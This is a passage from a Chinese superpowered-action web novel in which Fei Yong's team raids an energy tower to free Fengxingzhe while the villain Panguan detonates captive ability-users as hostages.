越野车在废弃工厂的阴影里颠簸穿行,林悦猛打方向盘避开堆废弃钢材,轮胎摩擦地面发出刺耳的尖叫。费勇扒着车窗往外看,城东的能量塔越来越清晰——那是座通体银白的圆柱形建筑,顶端闪烁着诡异的红光,像根扎在城市心脏里的**。
“还有三公里就到警戒范围了。”林悦切换到手动挡,车速不降反增,“裁决会在周围布了三层能量网,我的电场感知到至少五十名执法者,还有……某种很奇怪的能量波动,像是很多人在同时哀嚎。”
苏清月正给夏艳玲检查布娃娃,听到这话动作顿了顿:“是生命能量的哀鸣。”她指尖的绿藤轻轻颤抖,“塔壁上应该有很多活着的生命体,他们的能量正在被强行抽取。”
夏艳玲突然抱紧娃娃,小脸皱成一团:“他们好疼啊……妹妹说里面有好多破碎的影子。”
费勇的眼神沉了下来,他让林悦把车停在片断壁残垣后,自己则展开影界领域,暗影能量像潮水般蔓延开去。几秒钟后,他猛地睁开眼,眼底布满血丝:“风行者在塔顶,被能量枷锁捆着,身上有审判标记。塔壁上吸附着至少三十个异能者,他们的影子都被钉在塔上,能量顺着影子流进塔底的核心装置。”
“疯子。”林悦咬牙骂了句,她从背包里拿出四颗***,“我去引开西边的执法者,你们趁机靠近塔身。清月,你的绿藤能切断那些能量线吗?”
“可以试试,但需要费勇的暗影能量配合。”苏清月从医疗包里取出瓶荧光药剂,“这是我特制的能量阻断剂,喷在能量线上能暂时冻结它们的流动,但持续时间只有三分钟。”
夏艳玲突然举起布娃娃,娃娃背后的小翅膀发出微光:“妹妹说它能吃掉那些坏能量。”话音刚落,娃娃突然从她怀里跳出来,扑腾着翅膀飞向能量塔的方向,速度竟比之前快了不少。
“艳玲!”费勇想抓住它,却只捞到一把空气。小姑娘反而不慌,笑着说:“没事的,妹妹很聪明。”
众人对视一眼,只能跟上娃娃的节奏。林悦率先冲出掩体,雷矛在掌心凝聚成型,她朝着西边的执法者营地扔出两颗***,同时释放出高压电流,营地顿时一片混乱。趁此机会,费勇带着苏清月和夏艳玲,借着断壁的掩护快速靠近能量塔。
越靠近塔身,那种能量被抽取的压抑感就越强。费勇看到塔壁上果然吸附着许多异能者,他们双目紧闭,脸色惨白如纸,身上缠绕着银色的能量线,那些能量线像毒蛇般钻进他们的影子里,源源不断地吸取着能量。更诡异的是,塔壁上布满了类似影石阵的纹路,那些纹路正随着能量的流动发出红光。
“在那儿!”苏清月指着塔顶,风行者被吊在避雷针旁,双臂展开,身上的审判标记闪烁着不祥的红光,他的异能波动微弱得几乎探测不到,显然被压制到了极致。
就在这时,塔顶传来判官冰冷的声音,通过能量扩音器传遍整个区域:“费勇,我知道你来了。给你一个小时,把影石阵碎片交出来,我可以放风行者一条生路。每过一个小时,我就引爆一个异能者的标记,直到你出现为止。”
话音刚落,塔壁上突然有个火系异能者的标记亮起红光,紧接着,那人的身体像被点燃的汽油桶般炸开,能量线瞬间将逸散的火焰能量吸进塔内,塔身的红光明显亮了几分。
“禽兽!”林悦在通讯器里怒吼,她已经解决了西边的执法者,正悄悄绕到北边,“我看到核心装置了,在塔底的能量室里,有四个执法者守着。”
费勇深吸一口气,强迫自己冷静下来:“清月,准备好阻断剂。艳玲,让娃娃去吸引核心装置的注意力。林悦,三分钟后你用雷电攻击塔顶的能量枷锁,我去救风行者。”
“收到。”
“明白。”
夏艳玲对着空气喊:“妹妹,去咬那个发光的东西!”布娃娃像是听懂了,突然调转方向,朝着塔底的核心装置俯冲下去,它飞过之处,那些能量线竟纷纷避让。
费勇抓住机会,暗影能量在脚下凝聚成影毯,带着他和苏清月悄无声息地攀上塔壁。苏清月精准地将能量阻断剂喷在风行者下方的能量线上,那些银色的线条果然瞬间冻结。费勇则顺着塔壁快速向上攀爬,暗影能量在指尖形成影刃,随时准备切断枷锁。
“动作快点!”苏清月的声音带着紧张,“阻断剂快失效了!”
费勇刚要动手,塔顶的判官突然开口:“急什么?游戏才刚刚开始。”他的身影出现在塔顶边缘,依旧穿着那件绣着齿轮的风衣,手里把玩着块核心石碎片,“费勇,你不觉得这塔很眼熟吗?它的核心装置,可是按照701研究所的影石阵图纸改造的。”
费勇的心猛地一跳,他看向塔底的核心装置,果然发现那些纹路与苏清月给他看过的影石阵图纸有七分相似。就在这时,布娃娃突然撞上核心装置,发出一声尖锐的鸣叫,接着竟真的张开嘴,开始吞噬那些逸散的能量。核心装置的光芒顿时变得不稳定,塔壁上的能量线开始剧烈抖动。
“有意思。”判官挑眉,突然抬手按在塔顶的控制台,“既然小宠物饿了,那我就多喂它点。”他按下一个红色按钮,塔壁上突然又有个异能者的标记亮起红光。
“不要!”苏清月惊呼,绿藤瞬间暴涨,缠向那个异能者,试图阻断能量流动。费勇也同时出手,影刃斩断了风行者身上的能量枷锁。
但还是晚了一步。那个异能者的身体在绿藤触碰到他的前一秒炸开,能量被核心装置吸收,接着又被布娃娃吞噬。娃娃的身体突然膨胀了一圈,身上的影石阵纹路变得异常清晰,
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眼睛里的红光几乎要溢出来。
“它在进化。”苏清月惊讶地说,“那些核心石碎片在吸收能量后,正在完善娃娃的形态。”
风行者终于挣脱束缚,他踉跄着站稳,扯掉身上的能量线,对着费勇咧嘴笑:“你小子再晚点来,老子就要变成能量渣了。”他扔给费勇一个金属圆筒,“老鬼给的,说是能装核心石碎片。”
费勇刚接住圆筒,就听到判官的冷笑:“看来第一个小时的开胃菜结束了。费勇,第二个小时,我会引爆风行者的标记,除非你把布娃娃交出来。”
“做梦!”费勇将风行者护在身后,暗影能量在身前凝聚成盾,“清月,带风行者下去!林悦,准备执行第二方案!”
苏清月立刻会意,绿藤缠绕住风行者的腰,将他缓缓放向地面。林悦则在北边引爆了剩下的***,同时大喊:“费勇,我看到核心装置的能量接口了,在西北方向第三个纹路交汇处!”
费勇抬头看向判官,对方正似笑非笑地看着他,仿佛在欣赏猎物的挣扎。就在这时,布娃娃突然从核心装置旁飞回来,扑进夏艳玲怀里,它的身体已经恢复正常,但背后的翅膀却长大了不少,眼睛里的红光也变得温和了些。
“妹妹吃饱了。”夏艳玲摸着娃娃的头,突然指着核心装置,“它说下面有和它一样的碎片。”
费勇心中一动,他对林悦说:“改变计划,你带艳玲去破坏核心装置的能量接口,我去拿碎片。清月,你负责掩护。”
“收到!”
新的分工下达,三方立刻行动起来。林悦带着夏艳玲,利用雷网的掩护冲向核心装置;苏清月则操控绿藤,不断骚扰着塔壁上的执法者;费勇则再次展开影界领域,暗影能量顺着塔壁的影子蔓延,目标直指核心装置里的影石阵碎片。
判官看着下方的骚动,非但不慌,反而鼓起掌来:“精彩的配合。可惜,你们的时间不多了。”他看了眼腕表,“距离第二个小时结束,还有四十分钟。”
费勇没有理会他的挑衅,暗影能量已经触碰到核心装置的影子。他能清晰地“看”到碎片的位置,就在装置正中央,被三层能量屏障保护着。更重要的是,他发现这个核心装置的结构,与701研究所的地下三层剖面图几乎完全一致。
“原来如此。”费勇冷笑,“你在拿这座塔做实验,测试影石阵的能量转化效率。”
判官不置可否,只是玩味地看着他:“很快,你就会知道影石阵的真正用途了。”
就在这时,林悦成功抵达核心装置旁,她让夏艳玲用情绪能量干扰装置的运转,自己则凝聚出高压雷矛,瞄准西北方向的能量接口——那里正是费勇说的碎片所在位置正下方。
“就是现在!”林悦大喊一声,雷矛带着破空声刺向能量接口。